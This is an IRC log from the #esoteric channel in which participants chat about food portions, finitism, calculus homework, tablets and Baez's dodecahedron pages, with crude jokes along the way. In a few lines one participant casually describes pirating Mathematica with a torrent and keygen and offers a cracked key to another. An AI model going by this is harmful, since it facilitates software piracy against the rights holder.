:fax!unknown@unknown.invalid PRIVMSG #esoteric :that video fucking rules < 1269134432 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :what's it about, my connection isn't fast enough to want to look without knowing < 1269134471 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wooden 'cells' that can connect up on some conditions and separate on others < 1269134479 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: Need an extra kg. < 1269134481 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so basically the game of life < 1269134486 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::P:P < 1269134487 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(such is the American way) < 1269134489 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :so conglomerations of them can self replicate in some sense < 1269134540 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i wish i lived in america, the land of dreams < 1269134585 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Actually, it's the land of too much food. < 1269134631 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1269134638 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It is feasible to have a pound (approx. 2kg) of food in a meal here. < 1269134642 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :goddamn venti < 1269134645 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Rather common, even. < 1269134646 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :goddamn qemu < 1269134647 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :pound = 500g < 1269134653 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. < 1269134661 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :THINKO SUCKS HARD < 1269134671 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I don't get why people think that if some food is tasty more of that food is even tastier. :) < 1269134671 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :500g is a small breakfast < 1269134674 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269134685 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AND I DIDNT MEAN 1 LBS. < 1269134692 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :WE OVEREAT MUCH MORE THAN THAT. < 1269134717 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i believe that < 1269134729 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i like breakfast < 1269134735 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's a very worthwhile kind of meal < 1269134749 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it is < 1269134755 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I wish I was better at it < 1269134775 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :coppro, breakfast isn't very difficult < 1269134788 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :difficult in what sense < 1269134789 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you just need to get the basics down < 1269134791 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :quite :D < 1269134796 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you get some things and then you put them in your mouth, and digest them < 1269134797 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the trickiest part is having enough time < 1269134811 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :stop caring about obligations < 1269134813 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269134814 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :1 lbs. of meat, though, is quite feasible. Then another 1 lbs. of fries. And a half-gallon of soda. < 1269134826 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :alise: but the schoolteachers get angry! < 1269134829 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269134832 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :that sounds better < 1269134840 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: BIG WHOOP < 1269134848 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :and then my parents get angry < 1269134861 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: American meals are more portions of barely-food lumped together than meals < 1269134861 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: BIG WHOOP < 1269134866 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269134873 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Yes. < 1269134877 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: just write an amazing mathematical work < 1269134880 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Any plans for those machines? < 1269134882 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :sorted < 1269134892 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :alise: that sounds like effort < 1269134899 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise < 1269134911 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: but it's fun! < 1269134917 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Alise: Terry Tao is becoming a finitist http://terrytao.wordpress.com/2010/03/19/a-computational-perspective-on-set-theory/ < 1269134926 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is going to go do more calculus homework :/
< 1269134939 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: does that make five? < 1269134947 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I don't believe in five < 1269134947 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so he can't be a finitist < 1269134951 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'm just kidding of course < 1269134966 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :there's just a little bit of finitism in there though < 1269134973 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, 5 is trivial < 1269134987 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no it is too big < 1269134995 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I suppose you have some cubic explanation of the nonexistence of 5? < 1269135013 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well my universe is finite right so every set gets a certain ration < 1269135020 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and since some sets are just so much bigger than the naturals < 1269135024 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and there are so many of them < 1269135030 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the naturals only have the space for four elements < 1269135037 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol WHAT < 1269135040 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :does not follow < 1269135056 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i don't believe in not following < 1269135060 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i'm also a trivialist < 1269135080 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders which unit is next... probably curve sketching. yay
< 1269135109 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :curve sketching calculus homework? < 1269135116 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :coppro: curve sketching is boring as fuck but it's actually really useful if you just get good enough at it to not really have to think too hard to do it < 1269135143 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, http://www.paulkabay.com/#trivialism seen this? < 1269135160 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: yeah but i didn't have the attention span to read all the huge papers < 1269135169 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :how acn you be a true trivialist :P < 1269135174 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i have like this limited obvious-parody attention span thing. < 1269135175 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you are not working hard enough < 1269135194 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :actually i'm a mualist, no questions have "true" answers < 1269135213 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :fax: Yeah... < 1269135362 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I am not sure it's a parody < 1269135373 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I can see where you are coming from though < 1269135388 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It is. < 1269135388 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but not how fast he is going < 1269135393 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269135408 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :he says it's a parody right on that page < 1269135413 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1269135422 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I don't wanna do my Agora duties :( < 1269135429 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"I do not accept trivialism � I reject it! (Who wouldn�t reject it?) Reading this material may convince you that I am lying and that I really do believe this stuff � but that is because you have no sense of irony." < 1269135430 0 :nooga!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269135433 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: So resign. < 1269135438 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :alise: that seems bad < 1269135444 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I like them generally < 1269135456 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it's just that with the lists down, that means extra effort to redirect them to a backup list < 1269135458 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, I've seen that -- you're just taking it at face value < 1269135464 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :make a contract whereby someone else does them in return for some material reward by you < 1269135469 0 :nooga!~nooga@86-63-124-134.sta.asta-net.com.pl JOIN :#esoteric < 1269135472 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*reward from you < 1269135480 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: he uses it to debunk diaelethismsdfjksijf < 1269135482 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :however you spell it < 1269135526 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oh, wonderful < 1269135546 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the first question of this assignment (on curve sketching) is "Find the domain of y = sqrt(3x-5)." FUN < 1269135559 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: He uses it to debunk gwandocu. < 1269135674 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :coppro: If complex numbers are "acceptable", then that's just [-inf, inf] :P < 1269135688 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: heh, I wish < 1269135693 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :coppro: what's the domain of that function? the domain is that domain < 1269135697 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it's not a tough question, it's just that I thought I was done with this stuff < 1269135744 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: also, inclusive bounds on an infinity? < 1269135761 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Idonno, maybe :P < 1269135764 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :coppro, Don't listne to Gregor, he's an infinitist! < 1269135778 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Don't listen to fax, he's infantile! < 1269135781 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :that's a really bad question < 1269135795 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol geez what are you doing here < 1269135801 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :...i don't know :< < 1269135806 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: if complex numbers are acceptable, then the domain's C, clearly :) < 1269135816 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i actually ate until now, although i guess i also did other things... < 1269135863 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`addquote oklopol geez what are you doing here ...i don't know :< i actually ate until now, although i guess i also did other things... < 1269135866 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :no, the domain is obviously two rounds around C so you get the whole C as the range < 1269135873 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh wait 3x-5 < 1269135875 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :well anyway < 1269135883 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :140| oklopol geez what are you doing here ...i don't know :< i actually ate until now, although i guess i also did other things... < 1269135883 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION punches HackEgo
< 1269135888 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: fixit < 1269135888 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :thanks < 1269135895 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: around 5/3, then < 1269135896 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :hmm, why was that quoteworthy? < 1269135904 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's amusing :P < 1269135904 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :yeah something like that < 1269135915 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anyway- < 1269135916 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :what's the thing called when you go around multiple times? < 1269135918 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :riemann something < 1269135919 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :um what was i going to say < 1269135920 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise: Doesn't seem broken ... < 1269135934 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: double reacharound < 1269135937 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :00:44 * alise punches HackEgo < 1269135937 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: it lagged right until i told you to fix it :P < 1269135940 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this made me laugh quite manically < 1269135943 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION swats alise -----###
< 1269135960 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the reimann rock < 1269135963 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopop < 1269135966 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :*riemann < 1269135987 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :"reimann" would be pronounced "ruymon" < 1269135989 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Riemann_surface < 1269135994 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :as in buy < 1269135996 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :reimann, riemann... lets call the whole thing off < 1269136007 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: have you been listening to that song a lot or something < 1269136016 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: we already discussed that above < 1269136018 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it happens in my head everytime < 1269136027 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: yes, that's why i corrected it. < 1269136042 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :because people should learn things they're told. not that i do. < 1269136052 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lets, let's, let(')s call the whole thing off < 1269136062 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269136376 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so my laptop can rotate the screen < 1269136382 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if i can get it in a nice holding position i can read papers like a real man < 1269136410 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I wish the iPad was less DRM bullshit and more.. open source < 1269136417 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise: You mean with your eyes burning? < 1269136418 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :then I'd totally buy one and just lay in bed all day reading < 1269136424 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: HAHAHAHAHAHAHAHAHAHAHAHAHAhasiudhdif < 1269136425 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :fax: You mean with your eyes burning? < 1269136433 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: XD < 1269136438 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :by eyes burning?? < 1269136453 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise what's so funny? The only bad thing about the iPad is that it's closed < 1269136455 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Anyway, look, I haven't bought that monochrome laser printer yet < 1269136457 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :YET < 1269136459 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Never read anything substantial on a backlit screen then? It's quite horrible. < 1269136469 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Gregor I read all the time off the computer :S < 1269136470 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: well apart from being totally useless for anything creative instead of consuming... < 1269136482 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :besides, apple, open source? < 1269136485 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Gregor... although.. I do have the brigtness down at minimum < 1269136491 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you must be kidding; only their internal software is open source < 1269136503 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, yeah I know it's shit.. I'm saying if it was slightly different it would be good :| < 1269136513 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :basically: < 1269136521 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Big touchscreen that can connect to the internet < 1269136531 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah but it would require a whole change in apple's philosophy so the end result would be way different < 1269136539 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: hellooooo crunchpad < 1269136542 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1269136609 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise that was sad :( < 1269136616 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://techcrunch.com/2009/11/30/crunchpad-end/ < 1269136643 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :really? You ever thought it would end differently? < 1269136654 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Arrington is a blowhard who talks a lot of talk but has no substance or intelligence behind his ideas. < 1269136668 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :tbh I never heard of this before < 1269136672 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Despite being a horrid person who ruthlessly demolishes people from a position of power for no particular reason. < 1269136673 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'm not really into technology < 1269136704 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Anyway if you want an internet-connected touchscreen... do it! < 1269136711 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :do what? :P < 1269136714 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm sure you can buy touchscreen hardware somewhere < 1269136718 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :get one of those embedded linux boards... < 1269136719 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :go make something < 1269136719 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh make one myself < 1269136737 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It'll even have Emacs. < 1269136742 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise I can't even do those kits for children you get from maplin < 1269136753 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :computers are easier :-P < 1269136832 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :df = f' dx < 1269136836 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :df/dx = f' < 1269136838 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :woah < 1269136844 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I just solved the mystery < 1269136889 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Dun dun DUNNNNNNNNNNNNNNNNNNNNNNN < 1269136896 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :How's it go Leibniz < 1269136903 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this is great I've been working on this for years :P < 1269136904 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :omg seconds remaining until mathematica is mine < 1269136907 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hehe < 1269136909 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i can't wait to get frustrated at it < 1269136910 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and wolfram < 1269136912 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and want to kill him < 1269136912 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :47 mins for me < 1269136932 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION kills the torrent before his 0.00 ratio can improve
< 1269136944 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I feel baaaaaaaaaaaad < 1269136947 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269136958 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hells yeah keygen in wine time < 1269136974 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :are you gonna give me one too < 1269136979 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :sure sure < 1269137005 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i think it wants a full name though, so I'll tell it you're Mr. Fax A. Thisia < 1269137011 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Mrs < 1269137014 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Vs. < 1269137018 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm spivak prefixes < 1269137022 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what would that be? < 1269137024 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Es. < 1269137030 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Es. Alise Something < 1269137102 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hehe < 1269137108 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you remember! < 1269137114 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what's Vs. ? < 1269137119 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i remember what < 1269137126 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Ir. for Ister < 1269137129 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Vs was my knee-jerk attempt at a gender-neutral prefix < 1269137143 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise it should be Miss < 1269137151 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm, right < 1269137153 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Ps. Short for "Person" < 1269137153 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :in UK < 1269137163 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or Ms if you're irritating < 1269137166 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also I remember what??? < 1269137174 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Or Cr. Short for "Comrade" < 1269137188 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :$. Short for "Dollar-Making Economic Agent" < 1269137256 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Miss Feature < 1269137264 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh god; I'm being held up by the ubuntu repos < 1269137267 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :INSTALL WINE, FUCKERS! < 1269137391 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :PWM. Penis Wielding Human < 1269137397 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :VWM. Vagina Wielding Human < 1269137407 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Penis Wielding Mhuman? < 1269137409 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Erm, human does not start with an 'M' < 1269137411 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :>_> < 1269137419 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :PWH. Penis Wielding Human < 1269137419 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :YOU MEANT MAN DIDN'T YOU SEXIST PIG < 1269137422 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :VWH. Vagina Wielding Human < 1269137423 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Vagina Wielding Man < 1269137450 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :"stand back. i have a vagina and i'm not afraid to use it!" < 1269137473 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise: Imagine He-Man, holding up a giant anthropomorphic vagina. "I HAVE THE POWEEEEEEEEEEEEER!" < 1269137485 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm finding it really hard to consider a vagina an offensive weapon < 1269137497 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise: UNTIL IT DEVOURS YOU WHOLE < 1269137501 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :FEAAAR MY HOLE. FEAAAAAAAAAR IT! < 1269137501 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :In an extremely Freudian attack. < 1269137506 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :only one google hit for the full phrase, but better without the stand back < 1269137510 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :WHO TOLD YOU I WAS INTO VORE! < 1269137515 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269137529 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Wow, that joke killed the conversation. < 1269137532 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :TOO TOUCHY FOR YOU? HUH? < 1269137543 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yay vore < 1269137546 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::3 < 1269137547 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I don't know what that means ... < 1269137549 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION eats alise to change the subject. oh wait...
< 1269137557 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: >_< < 1269137566 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Gregor like big snakes eating cute little fluffy mice < 1269137764 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*chirp* < 1269137882 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :or birds < 1269137891 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION slithers up behing oerjan
< 1269138066 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*wind rustling* < 1269138086 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(chirping started seeming unsafe for some reason) < 1269138101 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :;) < 1269138127 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://math.ucr.edu/home/baez/noether.html this is cool < 1269138597 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Droid Sans is a pretty font. < 1269138779 0 :fungot!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269138848 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :someone is killing off the bots! < 1269138932 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://math.ucr.edu/home/baez/dodecahedron/17.html lol what < 1269138959 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i am not sure what he is trying to say < 1269138993 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this proof < 1269138993 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://math.ucr.edu/home/baez/dodecahedron/19.html < 1269138995 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :is so beautify < 1269138998 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :beautiful < 1269139020 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fool's gold is mentioned in http://math.ucr.edu/home/baez/dodecahedron/13.html < 1269139023 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes it is pretty < 1269139086 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :" And there is a fifth figure (which is made out of twelve pentagons), the dodecahedron—this God used as a model for the twelvefold division of the Zodiac." < 1269139091 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :12 FOLD DODECAHEDRAL TRUTH! < 1269139264 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Copy correctly < 1269139338 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://math.ucr.edu/home/baez/dodecahedron/6to12anim.gif < 1269139341 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I want to make one of these < 1269139633 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hooray for Sharp commercials talking about "adding a 4th color". I mean, wouldn't that require programs to be recorded and transmitted differently? For likely negligible gain? < 1269139661 0 :songhead95_!~jay@c-75-67-0-54.hsd1.ma.comcast.net JOIN :#esoteric < 1269139662 0 :songhead95!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269139662 0 :songhead95_!unknown@unknown.invalid NICK :songhead95 < 1269139748 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :fax: that link is a lie. there is no animation there. :| < 1269139757 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it is! < 1269139794 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :also, is it just me, or is fools gold prettier than real gold? :| < 1269139856 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :arsenopyrite is pretty nifty too < 1269139858 0 